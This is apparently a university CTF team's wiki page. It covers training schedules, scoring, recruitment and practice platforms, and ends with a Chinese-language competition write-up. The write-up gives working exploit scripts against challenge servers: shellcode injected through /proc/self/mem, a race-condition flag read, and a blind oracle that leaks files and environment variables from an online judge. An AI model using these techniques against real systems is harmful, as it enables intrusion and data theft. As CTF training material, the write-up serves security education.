DEF CON 30 | +28 May 2022 - 30 May 2022 | +Jeopardy | +Top hacking activity | +
Google CTF | +星期六, 02 七月 2022, 02:00 CST — 星期一, 04 七月 2022, 02:00 CST | +Jeopardy | +Google's annually CTF | +
FAUST CTF 2022 | +星期六, 09 七月 2022, 20:00 CST — 星期日, 10 七月 2022, 05:00 CST | +AWD | +Top AWD activity | +
The CTF team members will be invited to have a presentation every week before the competition. The goal of the showcase is to improve and sharing.
+The topic of the presentation can be various from challenge writeup to recently vulnerabilities. Anything useful for cybersecurity is fine.
+The current arrangement for the showcase:
+TBA
+Every Thursday we would have a short meeting online. If you have any question or advice, it's highly recommend to join the meeting and share with us.
+The online meeting channel (welcome to public participation): https://meeting.tencent.com/p/4484894504
+The offline meeting office room: Southern Tower of the Engineering Department, 515.
+ + + + + + + + +The time schedule would according to the weekly training topics. Every week, we would have a topic to focus on. During the training time, our timeline is set to the following table.
+Time | +Topic | +Introduction | +Material | +
---|---|---|---|
June, 26th | +CTF Overview & Fun-oriented challenges. | +Learn about what's CTF and how we win a CTF. The attendance of competitions and how to group a team. | +Introduction to CTF.pdf Sakai page Kali Linux Linux challenges Linux tutorial Python tutorial |
+
July, 3rd | +Web Challenges and Databases (Basics) | +Ability to learn computer networks and hack websites. Know HTTP & HTTPS in protocol, and tools to capture / modify packets. | +Web Basics and Databases.pdf OWASP vulnerabilities PHP basics HTML MDN CSS MDN JavaScript MDN |
+
July, 10th | +Practice, Solving Web Challenges (Advanced) | +Why websites are vulnerable, learn how to crack a website and solve some web challenges. Find the weakness in the websites, and common vulnerabilities. | +Advanced Web Hacking.pdf Linux Basics BlackHat SSTI PDF CTF101 Web Web learning notes |
+
July, 17th | +Forensics & Steganography | +Analyze the file format and hidden information. Packet or network traffic analysis as well. Several skills to check images. | +Forensics_Steganography.pdf CTF 101 Forensics 1earn Forensics |
+
July, 24th | +Modern Cryptography and Mathematics | +Asymmetric cryptography like RSA, ECC. A mathematic definition of security and attacks on modern cryptography. | +Cryptography.pptx Introduction to Modern Cryptography: Principles and Protocols Trapping ECC with Invalid Curve Bug Attacks |
+
July, 31st | +Assembly Language and Reverse Engineering | +Learn about some CISC knowledge. Use x86_64 as example to do assembly. Some reverse engineering skills are involved. | +Reverse.pdf | +
August, 7th | +Binary Exploitations | +PWN challenges. Buffer overflows, shellcodes, ROP, and some pwn challenges. | +Binary Exploitation.pdf | +
August, 13th | +Report and Summary | +Before the final exam, we would have a report week to share your learning and conclusion on the CTF. | +TBA | +
August, 14th | +Exam | +Brand new challenges to solve this year, and winners would be qualified to the team. | +TBA | +
We usually would have our offline training in the 551 Meeting Room, Southern Tower of the Engineering Department. The time of the offline meeting would be on Sundays.
+From the offline training, you can have a summary of the past week's challenges and topics. The schedule of this day would be like this:
+2022 Summer training timeline:
+For the students who won't be able to participate the whole time, we can still have a more relaxed timeline.
+In order to join the compass team and attend competitions in the future, we need to have a more advanced skills. In the training, you should make sure that you are great at your specified area.
+Taking the advanced level isn't easy, and you would get 5 extra points for the total score.
+If you don't want to fully participate in the training, and just want to learn something about computer security and CTF by interest. The basic level is enough.
+You can still participate in the final exam. If your score is high enough (which means you are so talented in the CTF), it's our honor to have you on the team.
+The training schedule isn't a course or something you need to rat race to get an A-level score. But, I think taking some grades can be feedback on your learning.
+How to join the compass team? Sometimes, joining the CTF competitions can be done by oneself, but usually, we need teamwork to get a better grade in the competitions. You don't want your teammate to be a newbie, right? The exam and the score are used to make sure that every member is great.
+Thus, if you find anything that is non-reasonable in our score system, please write an email to me. I would appreciate having your advice.
+The scoring system won't have a cap, you can get as many points if you want. However, I don't like the rat race. So, every category would have a percentage in the result.
+The final score formula is: score = weight * sum(percent * log(2, score))
The categories involves,
+The weight would be according to your grade. A freshman in the university is less experienced compared with the senior students, but from future learning, a freshman can have more time to improve. The weight is in order to balance the grades.
+This is summer training, and we won't have any senior members (they are already graduated).
+For example, if you got 3127 in the challenges and competitions, 155 in the remarks, 229 in the report, and 1625 in the final exam. You are a freshman in the university and just finished your first year. The total score would be: 1.06 * (0.3 * 11.610563503925041 + 0.1 * 7.2761244052742375 + 0.15 * 7.839203788096944 + 1 * 10.66622400280318) = 17.016059226486018
.
Your advice is valuable and would help me to improve the training. If you have any suggestions, there are several ways to contact me:
+liz33#mail.sustech.edu.cn
We will have several written/video-based remedial content sessions before we begin training for Spring 2023 (the timing will be prior to the start of Spring 2023 training).
+For the spring 2023 program, we will continue to use the same weekly training format as before, and we will accept your suggestions to add a sharing and combination of questions to the training, and add more practical content in addition to theory.
+Each week, I will also post an archived replay of a recent competition, or a self-practice session on a selected topic, which you are free to arrange according to your schedule. Of course, if there is a competition planned for the week, the competition topic review will be delayed/reduced/cancelled.
+In these tutorials, I will sync the written content to our wiki for use as an introduction to cybersecurity, currently selected content is
+This content will be updated gradually in the form of written materials or video images and will not be available in offline training sessions.
+In the spring 2023 program, we have two components: recruitment of new members and advanced training. After a semester of competition and training, everyone's cybersecurity level and ability have been improved, and I will focus on deepening learning in a certain direction in this semester.
+I will not recruit too many new members in this semester, and the final recruitment will still be conducted through the competition, mainly for the freshmen of 2022, and the number of recruits will be mainly used to make up for the number of members who will graduate after this semester.
+The number of recruits will be used to make up for the number of members who will graduate after this semester. The spring 2023 offline training and competition questions will be updated on this page.
+Topic | +Category | +Attachment | +Date | +
---|---|---|---|
Network Sniff: Introduction | +Web | +https://ithelp.ithome.com.tw/articles/10245117 https://ithelp.ithome.com.tw/articles/10245119 https://ithelp.ithome.com.tw/articles/10246315 https://ithelp.ithome.com.tw/articles/10246917 |
+Feb. 26th, 2023 | +
Network Sniff: Multi-platform | +Web | +https://frida.re/docs/android/ | +March. 5th, 2023 | +
Network Scan | +Web | +https://websec.readthedocs.io/zh/latest/index.html | +March. 12th, 2023 | +
Ethereum and Solidity: Introduction | +Blockchain | +http://www.snowywar.top/?p=3848 | +March. 25th, 2023 | +
Ethereum and Solidity: Practice | +Blockchain | +http://www.snowywar.top/?p=3848 | +April. 2nd, 2023 | +
IoT Security | +IoT | +https://paper.seebug.org/2048/ | +May. 7th, 2023 | +
PWN: Stack | +PWN | +https://ir0nstone.gitbook.io/notes/ | +May. 14th, 2023 | +
PWN: Heap | +PWN | +https://ir0nstone.gitbook.io/notes/ | +May. 14th, 2023 | +
PWN: Kernel | +PWN | +https://ir0nstone.gitbook.io/notes/ https://paper.seebug.org/2036/ |
+May. 21st, 2023 | +
Real-World Security: Penetration | +RW | +https://www.ired.team/ | +May. 28th, 2023 | +
Real-World Security: Malware | +RW | +https://www.ired.team/ | +June. 4th, 2023 | +
Real-World Security: Summary | +RW | +https://www.ired.team/ | +June. 11th, 2023 | +
Contact me: liz33@mail.sustech.edu.cn
+You can also send emails or communicate with Prof. Zhang. About the academic project and the COMPASS lab-related component, I will post later.
+ + + + + + + + +A recruitment program for new members will take place in the summer of 2023. The recruitment of new members will last for 4 weeks and will be conducted jointly with South China Universities on the weekend of the 4th week.
+There will be two categories of new members: basic and expert. At the basic level, many basic computer science concepts will be mentioned, and only the basic content will be required in the recruitment training questions. At the expert level, we will focus on real cybersecurity practice (in the meantime, let me assure you already have some computer science foundation) and begin computer security training directly.
+Therefore, this article will be described according to the following table of contents:
+Capture the Flag (CTF) is a class of security competitions that simulate real network environments and are usually divided into two categories: recreational exercises and formal competitions. In the first category, we will learn a lot of computer science and coding, programming, image encryption, and a series of other interesting knowledge, just as learning itself is an enjoyable experience, in this type of recreational practice tournament, you can get more basic knowledge about computer science and interesting experience. The latter category is better for your career development and future planning, and in recent years, CTF competitions for talent recruitment are increasingly held by companies, government departments, and universities. In formal competitions, rigorous knowledge of cybersecurity will be tested, including malicious program analysis, industrial control software analysis, or offline hacking and defense simulating real-life environments.
+At Southern University of Science and Technology, winning official competitions can get you extra points for graduate school/prize money for the school, and publicity on the official public website. In the official competitions you participate in, you can get the favor of enterprises such as Netcom, Ministry of Public Security, Ministry of Education, Ant (Alibaba Inc), or Meituan, etc. due to the different organizers.
+You can choose your training group according to your situation:
+Of course, these two-level choices still represent different training difficulties and basic thresholds, which also need to be adjusted by your actual needs. You can also adjust your group after you have registered for new members.
+The registration form for the New Member Recruitment Program (or its online version) can be found in Appendix A. If you will be officially joining SUSTech next semester, or if you will be entering your second year at SUSTech next semester, please do not feel anxious about building up your basic knowledge; you still have plenty of time to learn and improve.
+If you are going to choose your own academic research path, the COMPASS CTF team is an affiliated team of the COMPASS lab with research on computer security, and I am very pleased to recommend the COMPASS lab.
+The recruitment of new members will be divided into three parts:
+Among them, the basics of training and learning will use the CTF book written by the Nu1L team for reference. The CTF All in One book is also recommended as reference material. At the same time, I will also summarize a series of online materials, with our previous recruiting materials information to carry out.
+You do not need to complete the questions on the same day, but it is recommended that you complete the week's questions before the intensive training and Q&A time every Sunday. You may have difficulty with the daily exercises, but each week we will work through the difficult questions.
+New member recruitment is not a course, and scores are graded only for your motivation and as a reference for joining the team. We certainly don't want your teammates to have a large difference in ability level from you, which would lead to an imbalance in team strength. Therefore, if you think there is a problem with the design of the scores or have any suggestions, please feel free to contact me.
+New member recruitment scores are designed to be chaotic and evil in an uncapped mode. The final score is made up of several components. Each part of the score has a different weighting and is calculated as:
+Final score = factor * sum(weight * part score)
+First, the factor depends on your grade level. If you will be entering SUSTech in the next semester, then you will receive an additional 40% factor, and if you will be entering your second year in the next semester, then you will receive an additional 20% factor. In addition, if you choose the Expert level (which represents more daily practice with more daily commitment time), you will receive an additional 5% factor.
+The scores for each component with their corresponding weights are shown in the following table:
+Part | +Weight | +
---|---|
daily challenges | +100% | +
competition participated | +150% | +
training activity | +50% | +
teammate score | +100% | +
member score | +100% | +
final competition | +500% | +
I am very sorry if you plan to drop out during the course of your study, but if this is due to the training schedule and my factors, I humbly seek your advice and opinion.
+If you need some help, perhaps the following will help you.
+Q: I wasn't as interested in computer security as I expected it to be at the beginning.
+A: The learning path for computer security can be very steep, and you may find yourself making no significant breakthroughs for some time. The accumulation of basic knowledge content is equally important. The field of computer security may not be as exhilarating as you might expect, but as you learn more, you will be exposed to more content that a beginner would not.
+Q: The training schedule drains me.
+A: Maybe you can try to lower the level of difficulty, even if you plan to join the team, but it's not for experts only. The basic level is also possible, the difference is only the 5% extra factor.
+Q: I have other questions.
+A: You are always welcome to contact me by email or by any means. Here is my email address: liz33@mail.sustech.edu.cn, and you can also find me in my office at 441A, South Building, College of Engineering.
+Before filling out the registration form, allow me to describe to you this very interesting field and the five most important maxims in this field.
+If you love cybersecurity, enjoy deciphering the maze of programs, hardware, and networks, and explore with humble curiosity and wonder, then you have the most important qualities that lead to success.
+Key | +Value | +
---|---|
Student ID (or empty if you haven't joined SUSTech) | ++ |
Contact email address | ++ |
Name or nickname you prefer to be called | ++ |
Level (basic or expert) | ++ |
Experience and knowledge | ++ |
Interest point(s) | ++ |
Hope you enjoy the trip!
+COMPASS lab website: https://compass.sustech.edu.cn/
+Online competition & challenge platform: http://detroit.sustech.edu.cn:29998/
+Online competition & challenge platform (Intranet address): http://116.7.234.225:29998/
+CTF all in one gitbook: https://firmianay.gitbook.io/ctf-all-in-one/content/
+The timeline and the topics of the training schedule are as below:
+Date | +Topic | +Attachment | +
---|---|---|
Aug. 3rd | +1: introduction/Linux | +CTF_tutorial_1___introduction | +
Aug. 6th | +2: web1 | +CTF_tutorial_2___web | +
Aug. 8th | +3: web2 | +CTF_tutorial_3___web___sql CTF_tutorial_3___web___file CTF_tutorial_3___web___ssrf |
+
Aug. 10th | +4: forensics | +CTF_tutorial_4___forensics | +
Aug. 13th | +5: crypto/Python | +앗? | +
Aug. 15th | +6: reverse | +CTF_tutorial_6___reverse | +
Aug. 17th | +7: pwn1 | +CTF_tutorial_7___pwn | +
Aug. 20th | +8: pwn2 | +አህ? | +
Aug. 22nd | +9: penetration/bug bounty | +5ZWK? | +
Aug. 24th | +10: awd | +-----BEGIN PGP MESSAGE----- Version: Keybase OpenPGP v2.1.15 Comment: https://keybase.io/crypto wcBMA3ffNJS1q05yAQf9HwBZU1UsQ5m9vzr8sZKGqRE0hXz0tL/4fn+53z0ZPtPZ pMC8+Lqf2LUvuxy+e7kkGQ8+9TYG0+dRXzrTqB2XLswFVYVlQYE3kPggBopuvOmY C2jbYElBs5BJReAtwMwfryF3zHi1QvES2McAlPie5t7UOZplu4+TneCzXclL07yz 3Ipw6se5h+VXUEXrPpF43tCXRj3dakpTFlpiVd62WB/NlNYf8LUDWDceOqC/flwL 0CEC9Jm/sCM5aynzjFuEyVSTXz5+2ppappkqyrnlhRkJWE/Tvvcg1Nw03rnpffSa T5e76JhYPNgko/Pe7NFD19xeVpyjE4KgZIGNdndEX9JDAeIYls88jN3dpaVTvPJz FP5xmvLVsEhj+g8bfCydR0vVJXirmdr7G1hdMpIYLd9R87PhW9E2TtT6AX0myaze DMSaHA== =fUNF -----END PGP MESSAGE----- |
+
View the training schedule on our wiki page: 2023 Spring Schedule.
+Varsity training is usually online + offline, usually at a fixed location and time. The goal of the training is to promote new members and to coach current varsity members to become proficient in a particular area. Training content may vary from school year to school year, depending on the schedule and staffing changes for that school year.
+The training format for Spring 2022 was influenced by COVID-19, which had been in an online self-study mode for a long time, and was partially adjusted when members returned to school.
+Training is usually held every Sunday morning and afternoon for separate objectives. The morning training is geared towards new members and is basic knowledge and practical training, while the afternoon is geared towards current varsity members and is advanced content and domain proficiency training.
+++Adjustment Note: Most competitions will be held on Sundays, and the mindset on Sundays will also generally be better than on Saturdays, so it was adjusted to Sunday for offline training.
+
Basic knowledge and practical training.
+The training is in the form of lecture + salon, which advocates communication during the training. The process will start with lecture sharing of training contents and providing reading materials. After the lecture, the materials will be read first, and the time will be rotated to summarize and conclude the content of the materials and share the materials they read to other members from the perspective of the pedagogue.
+Advanced content and domain proficiency training.
+The training is in the form of practice + salon. Before the training, the training questions will be collected and completed through the weekly question summary, and you need to complete the weekly question practice before the training. First, a summary of the solutions to the training questions and a lecture on the necessary knowledge will be conducted. For unintended solutions and multiple solutions, multiple solutions will also be used to share. The training time is then used to solve the questions on the spot, and after the solution, the member who completed the question will share in the salon.
+Each week's training will be followed by the release of the following week's practice questions, along with an open submission channel.
+The training questions will be selected from each field with some exercises with a difficulty gradient of.
+2 sign-ups + 2 normal + 1 difficult, with a total of 5 questions per domain.
+Members who choose multiple areas can choose any area to answer, and after completing this area, they can continue to complete other areas of questions.
+The areas that will be subject to topic selection are.
+Miscellaneous (Misc), Web (Web), Cryptography (Crypto), Binary (PWN), Reverse (RE).
+The training of the varsity team will also use the old-led model for mentoring and helping new members.
+Based on the collected directions of the current members of the varsity team, the current members of the varsity team who are responsible for mentoring the new members will be set.
+In the mentoring, the active members can recommend new members to join their own team based on their activity and knowledge base, and increase the matching score (20) in the team entry assessment.
+Any valuable suggestions on the training process can be sent to
+liz33#mail.sustech.edu.cn
+Valuable suggestions are also welcome.
+ + + + + + + + +Kanxue Security Documentation is a forum to post all things about cybersecurity from operating systems to web security, from binary exploitation to wiki and IoT security.
+The knowledge base contains good posts in forum.
+ +Link: https://www.kanxue.com/chm.htm
+ + + + + + + + +Easy to use CTF learn tutorial.
+Contains CTF events time schedule, skills that CTFers should learn, challenges provided, and tools and other assistant.
+ +CTF hub is a new CTF platform provided to help CTF gamers to train skills and get information of events. It's full of everything that is useful from tutorial to challenges.
+The skill tree is under construction and new contents are continuously added to the current components.
+CTF hub provides a calendar to check upcoming CTF competitions, subscribe the calendar to find new events.
+https://api.ctfhub.com/User_API/Event/getAllICS
+CTF hub link: https://www.ctfhub.com/
+ + + + + + + + +CTF learn is a challenge website for user update challenges and solve challenges.
+Those challenges are uploaded by community and users who solves the challenge can leave comments and score for the challenge.
+ +To submit flag and acquire scores, you need an account. In CTF learn, the accounts are free to register. Once you finish the registration, you may login with the account.
+For business user and education propose, CTF learn offers a professional edition called Learn++.
+Some online labs are also useful for beginners.
+ +CTF learn link: https://ctflearn.com/
+ + + + + + + + +This site will host all eight sets of our crypto challenges, with solutions in most mainstream languages.
+But: it doesn't yet. If we waited to hit "publish" until everything was here, we might be writing this in 2015. So we're publishing as we go. In particular: give us a little time on the challenge solutions.
+We can't introduce these any better than Maciej Ceglowski did, so read that blog post first.
+We've built a collection of 48 exercises that demonstrate attacks on real-world crypto.
+This is a different way to learn about crypto than taking a class or reading a book. We give you problems to solve. They're derived from weaknesses in real-world systems and modern cryptographic constructions. We give you enough info to learn about the underlying crypto concepts yourself. When you're finished, you'll not only have learned a good deal about how cryptosystems are built, but you'll also understand how they're attacked.
+There aren't any! For several years, we ran these challenges over email, and asked participants not to share their results. The honor system worked beautifully! But now we're ready to set aside the ceremony and just publish the challenges for everyone to work on.
+If you have any trouble with the math in these problems, you should be able to find a local 9th grader to help you out. It turns out that many modern crypto attacks don't involve much hard math.
+None. That's the point.
+You'll want to be able to code proficiently in any language. We've received submissions in C, C++, Python, Ruby, Perl, Visual Basic, X86 Assembly, Haskell, and Lisp. Surprise us with another language. Our friend Maciej says these challenges are a good way to learn a new language, so maybe now's the time to pick up Clojure or Rust.
+Right now, we have eight sets. They get progressively harder. Again: these are based off real-world vulnerabilities. None of them are "puzzles". They're not designed to trip you up. Some of the attacks are clever, though, and if you're not familiar with crypto cleverness... well, you should like solving puzzles. An appreciation for early-90's MTV hip-hop can't hurt either.
+It turns out that we can.
+If you're not that familiar with crypto already, or if your familiarity comes mostly from things like Applied Cryptography, this fact may surprise you: most crypto is fatally broken. The systems we're relying on today that aren't known to be fatally broken are in a state of just waiting to be fatally broken. Nobody is sure that TLS 1.2 or SSH 2 or OTR are going to remain safe as designed.
+The current state of crypto software security is similar to the state of software security in the 1990s. Specifically: until around 1995, it was not common knowledge that software built by humans might have trouble counting. As a result, nobody could size a buffer properly, and humanity incurred billions of dollars in cleanup after a decade and a half of emergency fixes for memory corruption vulnerabilities.
+Counting is not a hard problem. But cryptography is. There are just a few things you can screw up to get the size of a buffer wrong. There are tens, probably hundreds, of obscure little things you can do to take a cryptosystem that should be secure even against an adversary with more CPU cores than there are atoms in the solar system, and make it solveable with a Perl script and 15 seconds. Don't take our word for it: do the challenges and you'll see.
+People "know" this already, but they don't really know it in their gut, and we think the reason for that is that very few people actually know how to implement the best-known attacks. So, mail us, and we'll give you a tour of them.
+Cryptopals is maintained and expanded (from Set 8 on) by Sean Devlin, in conjunction with the Cryptography Services Team at NCC Group.
+We could not possibly have done this without the help of several other people. Roughly in order of influence:
+Individual exercise submissions are owned by their author, and may or may not be distributed under an open source license.
+https://cryptopals.com/
+ + + + + + + + +Here's another platform for learning and hacking.
+The difference between tryhackme and ordinary CTF challenge website is that thm uses rooms
for challenge. Each room contains of several questions and you need to finish them all to solve a room.
The room is also called a target environment in cyber security. In case that vulnerabilities are available in rooms, each room should be created for each user. That's say, you need to create a room and deploy machine before hacking.
+ +All target environments are on the thm's cloud server and you don't need to configure local machine to deploy target environment. However, you need to connect to the thm's local network so that you can hack the target environment.
+Two ways for user to connect. The first and free
way is to use OpenVPN and configure your VPN with thm's ovpn file. The second is to use hack box, for community user, free box can only be used 1 hour one day. Otherwise, you need to purchase premium
edition of thm.
Rooms are also can be uploaded by users. This makes it possible for us to create our own target environment.
+Besides, thm provides several learning courses for beginners.
+ +For advanced users, there some other useful pages provided by thm.
+You can find some useful blog related to the cybersecurity and some other websites such like tutorials, terms, swag shop.
+TryHackMe is a great platform for both beginners and advanced hackers.
+ +TryHackMe link: https://tryhackme.com/docs
+ + + + + + + + +World of Attack&Defense (Aka 攻防世界) is another fully constructed CTF platform of challenges and event schedule.
+ +The challenge environment of WAD constructed from deployed machines that you need to deploy environment before solving the challenge.
+That is, in some time, the deployment environment of WAD is failed and users can not finish challenges.
+However, the challenge quality is pretty good and writeups submitted by users are also good to read.
+World of Attack & Defense link: https://adworld.xctf.org.cn/
+ + + + + + + + +CTF time is a platform to provide schedule for upcoming and past CTF events. Famous CTF events usually synchronize their schedule to the CTF time, and CTFers all along the world would participate the event.
+ +Some famous CTF team also have their CTF time page to show their gains and record during the events. Along with the events schedule and team page, writeups are also collected by CTF time. Find writeups for the event by clicking corresponding event page and find Event tasks and writeups
page.
Find upcoming CTF events using CTF time.
+CTF time link: https://ctftime.org/
+ + + + + + + + +ichunqiu's platform is a good place to find upcoming events.
+This platform is based on the competitions and the solutions to the competitions. It doesn't provide any online challenge environment, but it provides almost all the Chinese CTF events schedule.
+ +Link: https://www.ichunqiu.com/competition
+ + + + + + + + +picoCTF is a series of CTFs focus on the high school students. Nowadays, picoCTF adds more difficult challenges that face to all gamers besides high school students.
+The picoCTF platform provides most of the challenges in picoCTF these years and you can try to solve those challenges online.
+ +The challenges are from very easy to advanced. Some beginner challenges are friendly for CTF beginners and some advanced challenges may take you some time to solve.
+The binary challenges are hard for beginners and picoCTF doesn't provide beginner-friendly binary (pwn) challenges. For those who are starting their travel in binary field, maybe other platform is better than picoCTF.
+Link: https://play.picoctf.org/practice
+ + + + + + + + +A series of binary exploitation (pwn) problems and you may try to solve them online.
+The quantity of challenges isn't much, but the quality is pretty good.
+ +Link: https://pwnable.tw/challenge/
+ + + + + + + + +In these chapters, you’ll find everything you need to win your next CTF competition:
+Consists of several introduction to each categories.
+ +Link: https://trailofbits.github.io/ctf/
+ + + + + + + + +As a freedom site, primarily focusing on recent CTFs, CTF Wiki introduces the knowledge and techniques in all aspects of CTF to make it easier for beginners to learn CTF.
+Now, CTF Wiki mainly contains the basic skills for CTF, but we are working hard to improve the following contents.
+For the above-mentioned parts to be improved, please refer to Projects which details what are planned.
+Although now CTF Wiki mainly focus CTF, it is not strictly limited to CTF topics. In the future, CTF Wiki will include
+In addition, given the following two points
+Therefore, CTF Wiki will never publish books.
+Finally, originating from the community, as an independent organization, CTF Wiki advocates freedom of knowledge, will never be commercialized, and will always maintain the character of independence and freedom.
+ +Link: https://ctf-wiki.org/
+ + + + + + + + +Welcome to the page where you will find each hacking trick/technique/whatever I have learnt in CTFs, real life apps, and reading researches and news.
+HackTricks contains learning methods of CTF and recently news about cybersecurity.
+ +Link: https://book.hacktricks.xyz/
+ + + + + + + + +Capture The Flags, or CTFs, are a kind of computer security competition.
+Teams of competitors (or just individuals) are pitted against each other in a test of computer security skill.
+Very often CTFs are the beginning of one's cyber security career due to their team building nature and competitive aspect. In addition, there isn't a lot of commitment required beyond a weekend.
+In this guide/wiki/handbook you'll learn the techniques, thought processes, and methodologies you need to succeed in Capture the Flag competitions.
+CTF 101 is the perfect website for CTF beginners.
+ +Link: https://ctf101.org/
+ + + + + + + + +An article of "how to" series written by Eric Steven Raymond.
+In this article, you can learn how to become a hacker, and what should you learn to contribute to the cybersecurity and hacking field.
+Remember the hacker attitudes:
+Link: http://www.catb.org/~esr/faqs/hacker-howto.html
+ + + + + + + + +A website for linux beginners to learn with linux command and tools.
+This website is only a brief introduction to the linux. After learning the tutorial of linux, you can use linux just like using any other operating systems.
+ +If you want to find more details of Linux instead of just learning of features and tutorials to usage, you may want to read 《鸟哥的Linux私房菜》. The reference to the blog is attached below this tutorial.
+Link: https://linuxtools-rst.readthedocs.io/zh_CN/latest/base/index.html
+鸟哥的Linux私房菜: http://linux.vbird.org/
+ + + + + + + + +Yet an introduction of Python3.
+ +if you want to learn Python2, you can find Python2 version of this doc in Python document.
+Link: http://www.pythondoc.com/pythontutorial3/index.html
+ + + + + + + + +By Frankss
+Rank: 1
+Solved: 10
非常幸运地摸了一个炫酷的名次,诚惶诚恐
+
pyinstaller解包,直接调pyc里生成flag的函数: +
+轻松拿到魔法棒,然后按提示去 /proc/self/mem
找地方写sc
+自己开了个环境看一下nobody跑的python36居然是没随机化地址的,然后本地偏移通了远程不过(版本是一样的)
+于是远程先按0x1000
加偏移,卡死了就逐byte加,然后就成功执行到了shellcode
from pwn import *
+
+for off in range(3, 0x100):
+ p = remote("39.106.48.123", 28287)
+ context.log_level = 'debug'
+ p.sendline(b"1")
+ p.sendlineafter(b">> ", b"1")
+ for _ in range(10):
+ p.sendlineafter(b">> ", b"4")
+ p.sendlineafter(b"Enter", b"")
+ p.sendlineafter(b">> ", b"3")
+ p.sendlineafter(b">> ", b"1")
+ p.sendline(b"a")
+ p.sendlineafter(b"Enter", b"")
+ p.sendlineafter(b">> ", b"2")
+ p.sendlineafter(b">> ", b"1")
+ p.sendline(b"../proc/self/mem")
+ p.sendline(str(0x5b9a10+off).encode())
+ p.sendline(base64.b64encode(b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'))
+ p.interactive()
+
+问卷
+图片..没什么用
+压缩包,有密码,但其实就是删了root密码的shell,带回车..也没什么用
+唯一有用的是FTP的密码,是AES的key
+iv猜了好久,最后用UTF8的16个0搞出来看起来很对的字符,但长度不对
+然后用0504重复4次做IV得到了正确的root密码
+
shell的位置ls -la对比几下就找到了
+
有一秒钟的时间等待线程,在一秒之内改全局变量就行了
+from pwn import *
+
+p = remote("39.105.171.73", 18791)
+
+context.log_level = 'debug'
+p.sendlineafter(b">>>", b"3")
+p.sendlineafter(b"###", b"1")
+p.sendlineafter(b">>>", b"1")
+p.sendlineafter(b"///", b"1")
+p.sendlineafter(b" :", b"/flag")
+p.sendlineafter(b"Leaving a message :", b"1")
+while True:
+ p.recv()
+
+没有执行权限,文件系统只读
+二分可以偷东西出来(AC, WA)
+一开始不知道/flag
是目录,痛失一血
+打了一堆东西出来,甚至把环境变量都偷了出来
import os
+import sys
+import requests
+
+host, port = '47.104.129.38', 10101
+base_url = f'http://{host}:{port}'
+token_url = f'{base_url}/getToken'
+judge_url = f'{base_url}/judge'
+
+
+def getToken():
+ result = requests.post(token_url).json()
+ assert not result['error'], "System error"
+ return result['data']['token']
+
+
+token = getToken()
+
+
+def judge(chall: str, src: str, language: str = 'C'):
+ data = {
+ 'src': src,
+ 'language': language,
+ 'action': chall,
+ 'token': token,
+ }
+ result = requests.post(judge_url, json=data).json()
+ return 'SUCCESS' in result['data']
+
+
+l = ['etc', 'usr', 'sbin', 'lib64', 'home', 'dev', 'boot', 'root', 'sys', 'proc', 'opt', 'mnt', 'var', 'srv', 'lib',
+ 'run', 'media', 'bin', 'tmp', 'test_case', 'flag', 'log', 'judger', '.dockerenv', 'code']
+k = ['unbuffer.so', '__init__.py', 'compiler.py', 'unbuffer.c', '.python-version', 'utils.py', 'entry']
+p = ['compile.log', 'gunicorn.log', 'judge_server.log', 'judger.log']
+o = 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin PYTHONIOENCODING=UTF-8 LANG=en_US.UTF-8 LANGUAGE=en_US:en LC_ALL=en_US.UTF-8'
+u = '/usr/bin/python3 /judger/run/165\SVAbYV734P3=\A14VQ6]P7CH47MW/__pycache__/solution.cpython-36.pyc'
+flag = """'"""
+
+for i in range(len(flag) - 1, 500):
+ min = 32
+ max = 128
+ while 1:
+ j = min + (max - min) // 2
+ if min == j:
+ flag += chr(j)
+ print(flag)
+ break
+ res = judge('test', f"""import os
+a,b = map(int,input().split(' '))
+r=open("/flag/flag").read()
+if ord(r[{i}])<{j}:
+ print(a+b)
+else:
+ print(a+b+1)
+""", 'PYTHON')
+ if res:
+ max = j
+ else:
+ min = j
+
+自动化逆向现在大家都会了(好多解)
+这里命名是IDA7.7
自动改的,7.7比7.5对go的支持好了很多
+'godeep_tree.VSWEwsr'
是right
输出的函数
+'godeep_tree.ApSzXJOjiFA'
是main里开始的函数
+按if的内容01一下,然后把01串反过来就是flag
name = 'godeep_tree.VSWEwsr'
+r=""
+while name != 'godeep_tree.ApSzXJOjiFA':
+ print(name, end = ", ")
+ func = idaapi.get_func(get_name_ea_simple(name))
+ ea = func.start_ea
+ ref = CodeRefsTo(ea, 1)
+ fun = next(ref)
+ code = str(idaapi.decompile(fun))
+ a, b = code.split('else')
+ if name.split(".")[-1] in a:
+ r+="1"
+ else:
+ assert name.split(".")[-1] in b
+ r+="0"
+ name = re.findall("void __fastcall (.*?)\(",code)[0]
+ name = 'godeep_tree.' + name.split("_")[-1]
+
+print(name, end = ", ")
+print()
+print(bytes.fromhex(hex(eval("0B"+r[::-1]))[2:]))
+
+正向还原字节码
+r = [204, 141, 44, 236, 111, 140, 140, 76, 44, 172, 7, 7, 39, 165, 70, 7, 39, 166, 165, 134, 134, 140, 204, 165, 7, 39,
+ 230, 140, 165, 70, 44, 172, 102, 6, 140, 204, 230, 230, 76, 198, 38, 175]
+
+for i in r:
+ c = i >> 5
+ d = i << 3
+ print(chr((c | d) & 0x7f), end='')
+
+鉴定为傅里叶变换,逆变换是:
+
欧拉欧拉欧拉 $e^{(jx)}=cosx+jsinx$ 结束
+#include<cstdio>
+#include<vector>
+#include<iostream>
+using namespace std;
+
+
+int main() {
+ FILE* stream = fopen("flag.enc", "rb");
+ char* flag = (char*)"flag{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}";
+ double* res = (double*)malloc(16 * 160);
+ double* ak = (double*)malloc(16 * 160);
+ fread(res, 1uLL, 16 * 42, stream);
+ for (int i = 0; i < 42; ++i) {
+ double x = 0.0, y = 0.0;
+ for (int j = 0; j < 42; j++) {
+ x += flag[j] * cos(j * (-6.283185307179586 * i) / 42);
+ y += flag[j] * sin(j * (-6.283185307179586 * i) / 42);
+ }
+ //res[2 * i] = y;
+ // res[2 * i + 1] = x;
+ ak[i] = (res[2 * i + 1] - res[2 * i]) / 42;
+ }
+
+ for (int i = 0; i < 42; ++i) {
+ double x = 0.0, y = 0.0;
+ for (int j = 0; j < 42; j++) {
+ x += ak[j] * cos(j * (-6.283185307179586 * i) / 42);
+ y += ak[j] * sin(j * (-6.283185307179586 * i) / 42);
+ }
+ cout << (x + y) << " ";
+ }
+}
+
